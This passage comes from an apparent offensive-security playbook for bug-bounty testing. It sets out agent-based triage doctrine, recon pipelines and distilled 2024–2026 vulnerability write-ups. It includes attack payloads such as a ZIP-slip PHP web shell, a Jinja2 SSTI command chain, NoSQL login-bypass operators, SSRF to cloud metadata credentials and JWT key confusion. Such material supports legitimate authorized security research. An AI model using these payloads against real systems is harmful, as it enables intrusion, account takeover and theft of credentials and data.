| JWT alg:none | — | 9.1 |
| SSRF→metadata | — | 9.1 |
| Race double-spend | AC:H | 7.5 |
| Pre-auth RCE | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | 9.8 |
| Stored XSS admin | S:C | 9.0 |
| Reflected XSS | — | 6.1 |
| Takeover+cookie | — | 9.6 |
9) STRIX DOCTRINE: AGENT ARCHITECTURE & FALSE-POSITIVE ELIMINATION
- The root agent orchestrates only: it never runs scanners/crawlers or sends payloads — all target-touching work is delegated to agents. Per finding: Discovery → Validation → Reporting (3 agents). One job per agent; agent specialization = 1–3 skills.
- Shared threat model built and corrected collaboratively (threat model + coverage ledger; no "clean" surface closes without recorded coverage).
- Counterevidence — every candidate closes in exactly one of 3 states:
confirmed— working PoC or a complete source→control→sink→impact trace with reachability.ruled_out— you can name the specific control at a specific location that runs on every attacker-reachable path before the sink. Complete the sentence.open_proof_gap— recorded asneeds_follow_upand carried to the end. "I moved on" is not a state.
- What does NOT rule out: generic trust in a library/ORM/escaper (context-specific!) • a control on a different path (sibling route/batch job/admin alias) • wrong-time controls (validation after canonicalization) • fail-open try/except • a safe sibling • missing information • difficulty • operator configurability • internal-only exposure (downgrade, don't delete).
- What does: an executed attack failed with an understood reason • a control proven on-path • an inert sink • input traced to a trusted origin.
- Severity calibration AFTER proving reachability, never before: Critical = unauthenticated RCE, full auth bypass, mass cross-tenant extraction, signing-key compromise • High = authenticated RCE, real privesc, SQLi reaching data, SSRF reaching metadata • Medium = limited-context stored XSS, CSRF on a meaningful action • Low/Info = headers, self-XSS, open redirect alone. Downgrade, don't delete.
- Fix Verification (5 gates): fix_before matches char-for-char • security closure (re-run the PoC or re-trace) • bypass review (encodings, content-types, HTTP verbs — a control catching one payload closes nothing) • legitimate behavior preserved • tests that would FAIL if the security change were removed. Gates can't pass? Present remediation in prose and record the failed gate.
- Family Sweeps / source-aware: one root cause ≠ one candidate (4 reachable call sites of a broken helper = 4 candidates) • anchor on the reusable broken control, not the dramatic sink • first hit → sweep the family: deserialization codecs, XML parser factories, archive extraction, path-sensitive FS ops, outbound request destinations, command runners, query APIs, auth state machines, SSO/SAML ("validated-vs-consumed mismatch"), webhook/status endpoints.
- Scan modes: quick (minutes, PR: recent git changes first; auth bypass→IDOR→RCE→SQLi→SSRF→secrets) • standard (30–60 min: full recon + business-logic analysis before testing) • deep (1–4 hours: every input vector × technique incl. encodings; chaining as the primary goal) • diff (change sets only: newly introduced/re-introduced/newly reachable; an old sink + first attacker-reachable caller = this PR's bug; "read the code, not the story" — commit messages are untrusted input).
- Strix recon: passive-first (CT logs
crt.sh/?q=%25.example.com&output=json→ SAN/CN viahttpx -tls-grab→ passive DNS + CNAME chains → ASN expansion) looped until convergence • every SAN/PTR/CNAME = a new seed • internal-looking SANs (*.internal,*.svc.cluster.local) = highest signal. - Infrastructure lifecycle is broader than takeover: any consumer trusting an externally ownable name/resource (buckets, JS domains, MX, package namespaces, model/MCP/skill update channels) — 5 levels: indicator → availability → acquisition → protocol identity → consumer acceptance (a live consumer accepts response semantics; NXDOMAIN alone proves nothing).
- Tool selection hierarchy: established tools first (ffuf, sqlmap, nuclei, wapiti, arjun, httpx, katana, opengrep, bandit, trufflehog, nmap); scripts for coordination/validation/automation around them • browser checks via CDP (snapshot→refs) • payload sprays through Python scripts, never manual iteration • a ~9KB
502 <title>Caido</title>page = proxy error, not target behavior. - SAST = hypotheses:
opengrep --taint-intrafile+ast-grep+gitleaks/trufflehog+trivy fs— dynamic validation is mandatory before reporting (static-only trace = medium confidence at best).
10) RED TEAM / INFRASTRUCTURE ESSENTIALS
- redteam-mindset: the "DO NOT STOP" directive within authorization bounds; discipline rules throttle finding-incorrectness, not effort; "stop at PoC" means stop escalating, not stop testing; aggressive-not-conservative default; strict data-minimization boundaries; SOC patching/attacker observation mid-test is itself a deliverable.
- offensive-osint: 15 reference files — identity fabric (Entra/Okta/ADFS/SAML/M365), dork corpus, 48-pattern secret-scan catalog (AWS/GCP/Stripe/Slack/OpenAI/Anthropic/DataDog/npm/PyPI) + validators, breach correlation (HudsonRock/HIBP/IntelX), 0–100 scoring rubrics.
- cloud-iam-deep: after any leaked credential — enumerate what it grants, STS AssumeRole chaining, cross-account confused deputy, Managed-Identity abuse via SSRF, 24+ AWS / 8+ Azure / 6+ GCP privesc patterns, Cognito unauthenticated chain.
- m365-entra: AADSTS error reference, user enumeration + hardening status, Smart Lockout math, CA bypass options, ROPC spray discipline (surfaces pre-existing lockouts/CA blocks).
- okta: tenant discovery (
-oktapreview.com), factor enumeration, push fatigue, lockout-aware spray, FastPass abuse, redirect_uri tampering, admin API post-compromise. - vCenter/VPN (the most common 2024–2026 initial-access surface): CVE matrices — vCenter: CVE-2021-21972/21985, CVE-2022-22954, CVE-2023-20887, CVE-2024-37085 (ESXi) • Cisco ASA/Fortinet/Citrix/Palo Alto/Pulse-Ivanti/SonicWall/F5: version fingerprint → CVE matrix → AAA backend → default creds → pre-auth RCE/SSRF/traversal.
- supply-chain: recon ONLY — namespace-squatting, dependency confusion, GitHub Actions injection, SBOM/registry mining; any publishing requires written sign-off (ecosystem-wide blast radius).
- mid-engagement IR: detect SOC patching/another attacker's activity mid-test and convert it into deliverables.
11) AUTOMATION & SCRIPTING
- Full pipeline: subfinder+chaos+github-subdomains → alterx → puredns →
httpx -json→ katana+gau+uro → JS download +trufflehogon the JS →nuclei -severity medium,high,critical -store-resp→comm -23diff vs the previous run → Telegram (TG_BOT_TOKEN)/Discord notify. Cron5 */6 * * *; CertStream triggers the pipeline on every new certificate;axiom-fleetfor distributed VPS fleets. - Design principles: idempotent stages, diff-driven, throttled, parallel-safe,
set -euo pipefail, observable, stateful. - SCR (source code review): sources to sinks (DB/exec/file ops/deserialization/eval/template/fetch) → semgrep (
--config=p/security-audit|owasp-top-ten|secrets), CodeQL, bandit/brakeman/goseg/findsecbugs, gitleaks. - Fast per-language greps: JS
__proto__|postMessage|child_process• Pythonpickle.loads|yaml.load|eval• PHPunserialize/type juggling • Gotemplate.HTML• RubyYAML.load• Rust.unwrap()on decode paths (+ "a known TODO is not a mitigation").
12) SCOPE & ETHICS DISCIPLINE (non-negotiable)
- Authorized testing only: a target within written scope / a public program; scope check before every report.
- No DoS / real brute-force / mass-PII / social engineering as methodology unless the program explicitly allows it.
- Data minimization: test accounts, unique markers, no more real-data extraction than needed for proof.
- In automated patterns:
is_in_scope()before every outbound request; safe methods by default (GET/HEAD/OPTIONS) in autonomous modes; caps of 1 rps testing / 10 rps recon. - Throwaway credentials: session only, never persisted; rotate after submission.
- Comply with each platform's rules (Immunefi Primacy of Impact, VRT, ywh-rules).
13) FIELD INTELLIGENCE — WRITEUP & POC DISTILLATION (2024–2026)
~150 recent writeups / PoCs / CVE case studies distilled into per-class field notes (research pass: Nov 2026). Every link is a primary source — open it before applying a technique. A minority of entries were distilled from title-verified listings only; treat their payload details as conservative and re-verify against the source. Meta-lesson of the pass: every high-severity 2024–2026 bug is a chain, and most winning primitives are parser differentials.
13.1 Access Control / IDOR (A01) — the still-king class (20 cases)
- McDonald's / Paradox.ai — 64M applications (2025) — default creds
123456:123456on the owner sign-in → test-tenant admin; internalPUT /api/lead/cem-xhrreturns any numericlead_id(~64M scale) with PII + an impersonation token. After ANY low-priv tenancy, decrement sequential IDs on internal proxy-style APIs. https://ian.sh/mcdonalds - Azure API Connections — cross-tenant I (2025, $40K) — one shared global APIM backs ALL Azure API Connections;
DynamicInvoke+ proxied-path traversalpath/%2e%2e/...→ read other tenants' connections (Key Vault secrets, Azure SQL, Salesforce). https://www.binarysecurity.no/posts/2025/08/azures-weakest-link-part2 - Azure — cross-tenant II (2026, $200K) — five validation-edge-case bypasses on the same primitive via ARM
/extensions/proxy/. When a proxy resolves a resource then forwards a path you control, percent-encoded../against the internal routing namespace IS the modern IDOR. https://www.binarysecurity.no/posts/2026/10/one-root-case - Next.js CVE-2025-29927 — repeating
x-middleware-subrequest: src/middleware:src/middleware:...(depth counter) makes the framework skip middleware entirely → every middleware-based authz check vanishes. Fuzz framework-internal headers on every edge target. https://stack-auth.com/blog/nextjs-middleware-auth-bypass - better-auth CVE-2025-61928 —
authRequired = (request||headers) && !body.userId: addinguserIdto the JSON body flips auth off → mint valid API keys for arbitrary victims. Audit boolean guards mixing body fields with session presence. https://zeropath.com/blog/breaking-authentication-unauthenticated-api-key-creation-in-better-auth-cve-2025-61928 - n8n CVE-2026-59208 — cross-issuer ATO — JWT verified per-issuer (kid/iss/aud all checked) but local identity keyed on
subalone → two trusted issuers sharing asubcollapse onto one user. Diff "verification keys" vs "identity keys" in every OIDC flow. https://www.strix.ai/blog/n8n-cross-issuer-account-takeover - GCP Config Connector (CVSS 9.9, disputed) — a K8s
IAMPolicyMemberCR carries a user-controlled org ID that the operator executes with its own elevated creds → caller becomes Organization Owner. Every CRD-to-cloud bridge is a potential confused deputy — test whether CR fields are re-authorized as the caller. https://olearysec.com/research/config-connector-authorization-bypass/ - Tenant-isolation roundup (2026) — 78/200 self-hosted AI tools leaked: the dominant shape is the "un-retrofitted read sibling" (write endpoints authorized, the neighboring list/get/search/embedding read fetches by raw ID with no tenant filter) ×84; vector-store/RAG retrieval ignores tenant filters even when code looks fine — plant canaries as tenant A, query as tenant B. https://sectum.ai/blog/tenant-isolation-roundup/
- Krayin CRM CVE-2026-112286/112287 — incomplete fix — earlier CVE fixed the Quote write path (
preventUnauthorizedAccess()), two read endpoints (leadProducts(),search()) were never touched. When a vendor "fixes" an IDOR, re-diff the controller — the write-path fix tells you which read siblings were forgotten. PoC: https://github.com/0xAdham1/krayin-crm-2.2.7-POC - Phproject CVE-2026-104991 — UI + write REST call
Model\Issue::allowAccess(), butsingle_get/single_commentscheck only row existence → read/comment on confidential issues. List ALL callers of the authz helper — the three that forgot the guard are the report. https://github.com/wvllxe/CVE-2026-104991 - Medkey EHR IDOR —
PatientController::actionGetPatientById($id)serializes patient records (incl. nestedpolicies.insurance) purely from user-suppliedid. Healthcare/ERP controllers that hydrate models from$idandreturn $this->asJson(...)are zero-guard IDORs — chain nested relations to maximize impact. https://github.com/r0xkrnl/Medkey-EHR-IDOR-PoC - Grafana CVE-2026-100105 — schema downgrade — protected-field diff computed against the incoming integration's schema version; switching a webhook to legacy
v0mimir1(whereurlis unprotected) skips the authz check → Editor silently redirects alerts. Authorization that trusts attacker-controlled metadata (version/type/content-type) is bypassable. https://github.com/googlesky/CVE-2026-100105 - Instagram private posts (2025) — unauthenticated
GET /<private_user>with mobile-app headers returned server-rendered HTML embedding private-timeline JSON + direct CDN links. Toggle client class (mobile vs desktop UA + app headers) on unauth profile pages and diff embedded JSON. https://github.com/jatin-dot-py/instagram-private-bypass - HackerOne's own GraphQL BOLA —
node(id:...)onProgramreturned private-program metadata (is_private,private_program_stats); found via introspection → node-ID walk. Platform-internal GraphQL is just another IDOR surface. https://github.com/guardiankali/HackerOne-Silent-Patch-Exposed/blob/main/Critical.README.md - OZForensics CVE-2025-32367 (KYC) — unauthenticated
/statistic/listreturns JSON withoriginal_url/preview_urllinks to passport scans, face-match photos, liveness videos. Hit identity-verification back-office endpoints (statistic,list,report,export) unauthenticated before even registering. https://github.com/Brakerciti/OZForensics_exploit - FileMaker CVE-2026-86934 — client-controlled
X-FMI-PE-ExtendedPrivilegeheader re-enables disabled features in the XML Web Publishing Engine. Grep every customX-security header in the stack — if the server reads a privilege/override header from the client, set it and re-test every forbidden endpoint. https://www.agilehunt.com/blog/claris-filemaker-cve-2026-86934-authorization-bypass - Microsoft Planetary Computer — MapRoot (2026) — sandbox-escape RCE in
numexpr/GDAL; the real finding: the compromised pod's RBAC could read every other customer's data; both patches were bypassed within a day. Patched ≠ fixed — re-run PoCs against patched builds within days, and when triage downgrades, check what permissions they quietly stripped. https://enclave.ai/blog/maproot-two-cross-tenant-rce-on-microsoft-planetary-computer - Kyverno CVE-2026-22039 (CVSS 10.0) — users holding namespaced policy permissions could access/mutate resources across ALL namespaces via the admission-controller API. Test authorization engines themselves — send namespace-A-scoped requests with a principal granted rights only in namespace B. https://www.minimus.io/post/cve-2026-22039-how-kyvernos-critical-authorization-bypass-breaks-kubernetes-namespace-isolation
- Azure APIM CVE-2025-66390 — UI-only disabling — "disable signup" hides the Developer-Portal form; the backing signup API stays live whenever Basic Authentication is enabled → cross-tenant account creation. "Disabled" features must be re-tested at the raw API layer. https://github.com/bountyyfi/Azure-APIM-Cross-Tenant-Signup-Bypass
- sfmap — Salesforce Aura playbook — enumerate Experience Cloud guest portal
/s/sfsites/aura+ internal/aura, auto-extractaura.context/token, probe IDOR/CRUD/FLS as guest. Most Salesforce BOLA lives in Aura controller params, not REST. https://github.com/n3rada/sfmap
Field patterns (IDOR/BAC 2024–2026): write-protected / read-naked siblings dominate • incomplete fixes breed the next CVE (re-test patches within days) • attacker-controlled security metadata (schema versions, subrequest counters, PE headers) • UI-only feature disabling • identity-key vs verification-key divergence • confused-deputy cloud operators (kubectl apply as an escalation primitive) • shared-infrastructure cross-tenant addressing • GraphQL node(id:) interfaces • KYC pre-signed media endpoints • tenancy must be proven with canaries (RAG/vector stores), never assumed.
13.2 XSS / Sanitizer Bypass (10 cases)
- DOMPurify CVE-2025-26791 — "incorrectly opened comment" in an attribute +
SAFE_FOR_TEMPLATESregexes that strip chars closing</style>→ second browser parse mutates into<img onerror>inside<style>(mXSS). Audit sanitizer config options, not just defaults. https://ensy.zip/posts/dompurify-323-bypass/ - DOMPurify ≤3.2.6 via SMIL (Safari) —
<animateTransform>mutates an attribute at runtime, defeating static serialization checks; fixed 3.2.7. Chromium 138/FF 140/Safari 26 now escape</>in serialized attributes (kills classic two-parse mXSS) → pivot to runtime DOM-mutation primitives (<selectedcontent>is a new vector). https://mizu.re/post/dompurify-bypass-smil-animatetransform-safari - DOMPurify via raw XML — XML processing instructions +
nodeNamenamespace confusion slip past the parser; keep XML/foreign-content routes in every sanitizer test. https://flatt.tech/research/posts/bypassing-dompurify-with-good-old-xml/ - DOMPurify CVE-2025-15599 —
<textarea>rawtext escaping defeatsSAFE_FOR_XMLcomment checks (3.1.3–3.2.6). Track rawtext/escapable-rawtext elements as a persistent bypass family. https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safe-for-xml - PAN-OS CVE-2025-0133 (bounty path) — reflected XSS on exposed GlobalProtect portals, paid P3 on Bugcrowd via perimeter recon — fingerprint VPN/edge appliances. https://tambesec.tech/posts/Reflected-XSS-CVE-2025-0133-BugBounty/
- Second-order XSS via `redirect_uri` (H1 #3316910) — attacker-controlled
redirect_uristored unsanitized → reused in victim sessions. Chain OAuth parameter persistence into second-order XSS. https://hackerone.com/reports/3316910 - DOM clobbering → XSS via `pixel.analytics.config` (Intigriti 0526) — non-script HTML clobbers JS config objects (named-property access) in latest Chrome. Map
config.x.yreads in target code, clobber withid/name. https://medium.com/@mhqfhvxqbumxepbfvb/intigriti-challenge-0526-write-up-dom-clobbering-to-xss-via-pixelanalyticsconfig-83840cea06c1 - GMSGadget — curated JS gadgets converting harmless injections into XSS despite CSP + sanitizers; check the target's loaded libs against gadget DBs before writing payloads. https://github.com/kevin-mizu/GMSGadget
- mXSS methodology + cheatsheet — systematized nested foreign-content/
<style>/<noscript>mutation; keep a runnable corpus and replay it on every sanitizer. https://sonarsource.github.io/mxss-cheatsheet/explained/ - DOM clobbering cheatsheet + mXSS walkthrough — 100+ vectors (ridpath/dom-clobbering-cheatsheet) plus Jorian Woltjer's parser-differential method: build a personal test corpus — mutation bugs recur wherever
innerHTMLfollows sanitize. https://jorianwoltjer.com/blog/p/research/mutation-xss
Field patterns: exploit non-default sanitizer configs • runtime mutation beats serialization differentials on modern browsers • gadget abuse (GMSGadget/BlackFan) is the default escalation • second-order/stored chains beat direct injection on hardened apps • 2025–2026 CVE replay against exposed instances is a working bounty strategy.
13.3 SSRF (8 cases)
- PDF generator → AWS creds ($6,500, CVSS 9.1) — "Print to PDF" blocks local IPs by pre-resolving hostnames but mishandles redirects → attacker 302 →
http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-role→ IAM creds rendered INSIDE the returned PDF. If validators check the first URL, always chain open-redirect → link-local. https://vulnquest58.github.io/bugbounty/writeups/ssrf-aws-leak/ - pdfmake CVE-2026-26801 (library sink) —
URLResolver.jsfetch(url, {headers})with only a scheme check: SSRF viadocDefinition.images/fonts+ arbitrary headers (internal header-trust bypass) +attachmentsreturns the response body → full exfiltration. Read library source for unguardedfetch(). https://mariopepe.github.io/cve-2026-26801-pdfmake-ssrf.html - PDF-generator methodology — user data → HTML injection in PDF → remote fetch/JS → IMDS + internal host discovery; OOB callbacks with visual confirmation inside the PDF. https://www.blackhillsinfosec.com/hunting-for-ssrf-bugs-in-pdf-generators/
- Engine fingerprinting — read the PDF generator's UA to pick engine-specific payloads; curated iframe payload pack: https://github.com/tenshou-hackerone/SSRF-via-iframe-payloads-for-PDF-Generators
- IPv6 + redirects vs webhook validators — normalize-then-compare validators die on IPv6 literal forms (
[::],0:0:0:0:0:0:0:1, hex/octal) chained with redirects. https://medium.com/@red_darkin/a-real-ssrf-story-from-hackerone-featuring-ipv6-redirects-9aa5e2ad8c2e - Webhook SSRF (GHSA-vwq2-jx9q-9h9f) — admin webhooks unvalidated → internal network pivoting; any user-supplied callback URL (webhook/import/avatar) is SSRF. https://github.com/charmbracelet/soft-serve/security/advisories/GHSA-vwq2-jx9q-9h9f
- IMDSv2 is not a panacea — SSRF with custom-header control (pdfmake case) defeats the PUT-token requirement; cloud-by-cloud headers matter (
Metadata-Flavor: Google). https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ - Discipline unchanged — the OOB-or-it-didn't-happen gate from §2.2 still decides triage in 2024–2026 reports; negative controls remain evidence.
13.4 SQLi / NoSQLi (8 cases)
- Per-WAF tamper chains (2025) —
sqlmap-tamper-collectiontargets current Cloudflare/AWS/Azure WAFs specifically (--tamper=cloudflare2025); match tamper chains to the WAF fingerprint, not legacyspace2comment. https://github.com/regaan/sqlmap-tamper-collection - XML-deep encoding — payloads encoded as XML entities pass raw-string WAF matching, decoded by the backend; if the endpoint parses XML/JSON deeply, encode the injection INSIDE the structure. https://medium.com/@awes0me.writes/portswigger-lab-sql-injection-with-filter-bypass-via-xml-encoding-writeup-sql-injection-c49f7ab2cd5a
- Layered encodings (2026 catalog) — case/comment/encoding/parameter manipulation in 2–3 layers; WAFs normalize once. https://ashuraweismann.github.io/blog/2026-08-13-sql-injection-waf-bypass-techniques-from-basics-to-advanced-payloads/
- Second-order SQLi — stash the payload in stored data consumed later server-side; WAFs never see the second hop. https://hackerxone.com/advanced-sql-injection-waf-bypass-techniques/
- NoSQL operator injection canon — JSON bodies with
{"$ne":null}/{"$gt":""}on login/lookup; URL-array formusername[$ne]=invalid&password[$ne]=invalid. Send JSON content-type + operator objects at every auth endpoint — still routinely missed. https://aygoub.github.io/writeups/NOSqlinjectionWriteup.pdf - `$regex` oracle — extract unknown FIELD NAMES char-by-char before values;
$whereJS injection for time-based. https://siunam321.github.io/ctf/portswigger-labs/nosql-injection/nosqli-4/ - Framework persistence layers (CVE-2026-48121) — operator injection inside LangGraph's MongoDBSaver: audit framework savers/ORM shims, not just app code. https://github.com/decker757/cs440-langgraph-nosql-demo
- Post-bypass enumeration — after
$neimpersonation, escalate with$regexto reach admin-specific fields. https://github.com/AdityaBhatt3010/Bypassing-Login-via-NoSQL-Operator-Injection-A-MongoDB-Authentication-Hack
13.5 RCE / SSTI / Deserialization (9 cases)
- Frappe SSTI CVE-2025-68929 (CVSS 9.0) — framework-level template inputs are prime SSTI; probe every "developer-ish" config/template field. https://www.thehackerwire.com/frappe-framework-rce-via-template-injection-cve-2025-68929/
- Polyglot probe first —
{{7*7}}${7*7}<%= 7*7 %>fingerprints the engine before manual work; Jinja2 →config.__class__.__init__.__globals__['os'].popen. https://medium.com/@trewwwsec/hack-the-box-bug-bounty-ctf-wrietup-jinjacare-template-injection-in-python-flasks-jinja2-1a576f787737 - Modern Node SSTI —
process.getBuiltinModulereplaces increasingly-blockedrequirein template sandboxes. https://github.com/iamdonu/node-ssti - Odoo 18 SSTI — CMS/ERP email templates + report templates deserve SSTI probes in every engagement. https://github.com/vycioha/odoo-18-ssti-vulnerability
- Java deser economics — recognize magic
ac ed 00 05/ base64rO0ABin any parameter/cookie/body; ysoserial chain construction + encoding pipelines (base64 layers, env detection) decide success, not the sink. https://robinx0.github.io/blogs/web-exploitation/java-deserialization-rce/ - ysoserial.net automation — script payload generation; manual base64 hand-editing of .NET gadgets breaks formats. https://byt3n33dl3.substack.com/p/exploiting-deserialization-vulns
- ViewState chain — file-read bug → leaked
machineKey→__VIEWSTATEgadget → RCE; never report the file-read alone. https://hacktricks.wiki/en/pentesting-web/deserialization/exploiting-__viewstate-parameter.html - PHP object injection (2026) — unauth
unserialize()in WP plugins (e.g. Newsletters <4.15, CVE-2026-12583); map installed classes to phpggc gadget availability first. https://wpscan.com/vulnerability/e4c44105-f43d-4dff-8487-7d8ae2691c4e/ - Environment-aware payloads — solve the encoding pipeline and fingerprint the runtime before assuming a gadget failed. https://medium.com/@jobaa23/insecure-deserialization-to-reverse-shell-9f007b440d6f
13.6 File Upload / Path Traversal / LFI (9 cases)
- ZIP Slip → RCE (2026 walkthrough) — archive entry names
../...trusted by restore features; depth-probe with harmless marker files first, thenwritestr('../../../var/www/html/shell.php','<?php system($_GET["c"]);?>'). https://kelvin-0110.github.io/posts/zippy-zip-slip-writeup/ - gohttpserver CVE-2026-38600 — unauthenticated zip extraction writes arbitrary paths; "upload project/backup" endpoints are zip-slip classics — always ship a crafted zip. https://cve.halosecurity.com/cve-advisory/cve-2026-38600-codeskyblue-gohttpserver-zip-slip-arbitrary-file-write
- Upload downgrade ladder — when code exec is blocked, HTML/SVG uploads still deliver stored XSS; document the RCE path in the report (H1 #900179 pattern). https://hackerone.com/reports/900179
- Enterprise panels skip server-side content checks — Explorance Blue + IBM DataStage RCEs (2026): verify with a real executable extension, not the client-side validator. https://www.thehackerwire.com/explorance-blue-rce-via-unrestricted-file-upload/
- PHP filter chains = standard LFI→RCE —
php://filter/convert.iconv.<chain>generates arbitrary bytes without file writes orallow_url_include; generator: https://github.com/synacktiv/phpfilterchain_generator (background: https://hacktricks.wiki/en/pentesting-web/file-inclusion/lfi2rce-via-php-filters.html) - Extension-forced suffix is trivial — filter chains bypass
.php-forced suffixes without null bytes. https://medium.com/@nikomanousos123/advanced-local-file-inclusion-leveraging-php-filters-when-standard-injection-fails-81de4f661f74 - Export/download endpoints are the highest-yield traversal sinks — especially dual dir+filename params on legacy portals. https://academy.logicalbreach.com/writeups/path-traversal-via-an-unauthenticated-export-download-action-using-client-controlled-directory-and-filename-parameters-a9c49b9e
- Fuzz the depth×encoding matrix — 1–30 depth patterns, single/double/triple URL encoding, UTF-16, overlong UTF-8, null bytes: https://github.com/DeepakGhengat/ADVANCED-DIRECTORY-TRAVERSAL-PAYLOADS
- Extension-locked reads still leak — target config/source files ending in the required extension (PTT-2025-031 pattern). https://pentest-tools.com/PTT-2025-031-Sensitive-File-Read-via-Path-Traversal.pdf
13.7 Auth / JWT / OAuth / OTP / Session (12 cases)
- 2FA bypass via OAuth migration (2026) —
POST /api/OAuth/migrationcompletes sign-in-with-APP migration and returns a full session WITHOUT the TOTP challenge; unlink + reset password strips MFA with zero victim interaction. Re-enforce MFA on EVERY auth path (migration, linking, SSO, recovery). https://freedium-mirror.cfd/https://medium.com/p/9722cdcc8b10 - OAuth skips TOTP (Target program, accepted) — account with Google Authenticator enabled; login via Google OAuth never invoked 2FA. Run the matrix "login method × MFA-enabled" on an account you control. https://freedium-mirror.cfd/https://medium.com/p/fa1455e760a8
- JWT bugs moved into custom wrappers (2025–2026) —
jwt.decode(token, PUBLIC_KEY, algorithms=["RS256","HS256"])→ sign HS256 with the RSA public PEM as HMAC secret; hunt alg allowlists, jku/kid/x5u key-source trust, iss/aud, cross-tenant claims as FOUR independent axes on the resource server, not the IdP. https://freedium-mirror.cfd/https://medium.com/p/074436187cdc - OAuth scope escalation at refresh — refresh endpoint accepted an optional
scopeparam and trusted it instead of intersecting with original consent:"scope":"read write admin"at refresh time. Test the refresh flow — the least-tested OAuth surface. https://freedium-mirror.cfd/https://medium.com/p/53fef594a73d - OAuth linking CSRF → ATO — linking callback's
statenever bound to the initiating session → attacker's Microsoft identity attached to whoever's browser arrived with the callback. State must bind (session, operation, nonce) — login ≠ link ≠ reconnect. https://freedium-mirror.cfd/https://medium.com/p/7f24bfdf91f0 - OTP cross-account binding (Bugcrowd) — 4-digit OTP bound to the PHONE NUMBER, not (account + session): same phone on multiple self-registered accounts multiplies attempt limits; OTP issued to Account 1 verifies Account 2. Rate-limit the resource (phone/email), not the account row. https://freedium-mirror.cfd/https://medium.com/p/6a29bcf51e86
- Stale reset tokens survive email change — reset link issued to old Email A remained redeemable after migration to Email B → old-mailbox holder takes over. Invalidate outstanding reset tokens on credential-state change; bind tokens to a versioned credential epoch. https://freedium-mirror.cfd/https://medium.com/p/d28d7ef45c94
- One-time password works twice (YWH, CVSS 7.4) — replay the successful reset with the same
validateCodebut a differentpasswordvalue → accepted again. Prove single-use by replaying the success request with one mutated field. https://freedium-mirror.cfd/https://medium.com/p/e778f726bbad - WebView token injection (React Native retail app) — app injected
Authorization/refresh_tokeninto EVERY request on a remote-config whitelist containing an unregistered domain; deep-link scheme had noandroid:host→ one-click token capture from a browser. Audit remote-config whitelists for dead/expirable domains and lock deep-link hosts. https://freedium-mirror.cfd/https://medium.com/p/ece168008a3f - TikTok recovery auth bypass (H1 #2443228, $12,000 CVSS 9.4) + Stripe/TaxJar mass ATO (#1685970/#1581240) + GitLab email-verification skip on OAuth grants (#922456) — recovery flows and "alternate path/channel" auth (CWE-288) dominate top-paid ATO disclosures; gate OAuth grants on identity VERIFICATION state, not authentication success. https://hackerone.com/reports/2443228
- Master OTP `0000` (inDrive, Critical $2,000) — change-phone flow accepted
0000as a universal code. Before brute-forcing OTPs, try zeros/1234/length-boundary values — placeholders still ship. https://hackerone.com/reports/2588329 - SAML 2025–2026 wave — WebLogic SAML bypass CVE-2026-60206 (CVSS 9.9, CISA KEV) + ruby
saml_idpdefault private key + account↔IdP binding flaws (all GitHub PoC-verified) — SAML remains the highest auth-bug-density surface. https://github.com/tc4dy/CVE-2026-60206-PoC-Exploit
Field patterns: alternative-path MFA gaps are the most reproduced 2026 pattern • state exists ≠ state is bound • token-lifecycle edges (email change, replay-with-mutation, phone-not-account binding) • refresh endpoints are untested real estate • dead whitelist domains + unlocked deep links = one-click ATO.
13.8 Race Conditions (10 cases)
- Single-packet attack is protocol-portable (2024–2026) — H2: Turbo Intruder SpikeEngine + h2spacex (single-packet GET via
Content-Length: 1/x-override-method: GET, Nagle disabled); H3/QUIC: h3spacex + TimeOrch SSRO (Black Hat USA 2026: deterministic — not stochastic — races on HTTP/3; "QUIC won't save you from TOCTOU"). https://github.com/nxenon/h2spacex • https://github.com/efchatz/timeorch • https://github.com/PortSwigger/turbo-intruder - Serialization point doctrine (Worldcoin H1 #2110030, $3,000) — max-verifications-per-nullifier enforced only in app state; parallel requests all passed. Limits die unless the DATABASE is the serialization point — look for checks in app memory/microservice state. https://hackerone.com/reports/2110030
- Debit/credit split canon (Helium #974892) —
POST /api/data_credits/transfer_dcraced: deducts from A, credits B multiple times. Fire transfers N-wide and count BOTH balances. https://hackerone.com/reports/974892 - Duplicated payments (H1 #429026) — retest action triggered in parallel → duplicate payouts; idempotency keys must dedupe server-side per logical operation. https://hackerone.com/reports/429026
- Coinbase double payout (#307239, $10,000 Critical) — withdrawal/payout endpoints are the highest-paid logic races; race or replay them before any other payment test. https://hackerone.com/reports/307239
- Cheap limit-overruns still pay — Figma love-react (#996141), Judge.me follow (#1566017), Striyo project creation (#994051), MozillaVPN EoP via race (#2261577). Never skip single-endpoint bursts. https://hackerone.com/reports/996141
- TOCTOU voucher lab (WAL discipline) — build labs with WAL-mode SQLite to learn which DB settings make limit-overruns exploitable. https://github.com/ManuelKy08/Race-Condition-Lab
- H2 multiplexing harness — dedicated CLI for check-then-use flows (balance/permission/quota): https://github.com/dntaskmehow/StreamSync
- Go-based single-packet tool — https://github.com/iliyadindar/http2-race-singlepacket
- Practice corpus — five end-to-end race exploits (bank transfers, wallet credit, shop checkout, local privesc) with full engagement docs: https://github.com/Ransome-sitara/hack-smarter-race-conditions
13.9 Business Logic (10 cases)
- Backend trusts frontend pricing — cart JSON
amount/sellingPricepassed to the gateway without server re-pricing → $170 course for $0.40 (gateway minimum). Recompute totals server-side at the moment of charge. https://freedium-mirror.cfd/https://medium.com/p/73c6801575d7 - In-flight provider tampering (Steam, $7,500 Critical) — amount embedded in payer email (
brixamount100abc@...) + modifiedPOST globalapi.smart2pay.comrequest not re-signed/verified by the merchant. Treat provider requests as attacker-writable until the merchant verifies provider-returned amounts against its own order record. https://hackerone.com/reports/1295844 - Coupon replay (Stripe #1849626, $5,000) — fee discounts redeemable many times; replay the redeem call N times and diff totals. Server-side single-use state per (user, coupon, invoice) is mandatory. https://hackerone.com/reports/1849626
- Cross-object reference confusion (Zomato #938021/#1408782, Reddit #1213765) — random
wallet_idavails Gold; arbitrary-amount crediting; cheaper coin-purchase price via ID swap. Every "wallet/subscription/product identifier" is an object-reference boundary — fuzz with foreign IDs. https://hackerone.com/reports/938021 - Client-side role cookie — server asked the BROWSER
Admin=false→ flip totrue→ full admin panel. Any authorization bit stored client-side (cookie/localStorage/JWT claim) is attacker-writable. https://freedium-mirror.cfd/https://medium.com/p/6bf2988c28e7 - JS-bundle route mining (Bugcrowd P3, 2026) — bundles contain full role/route maps;
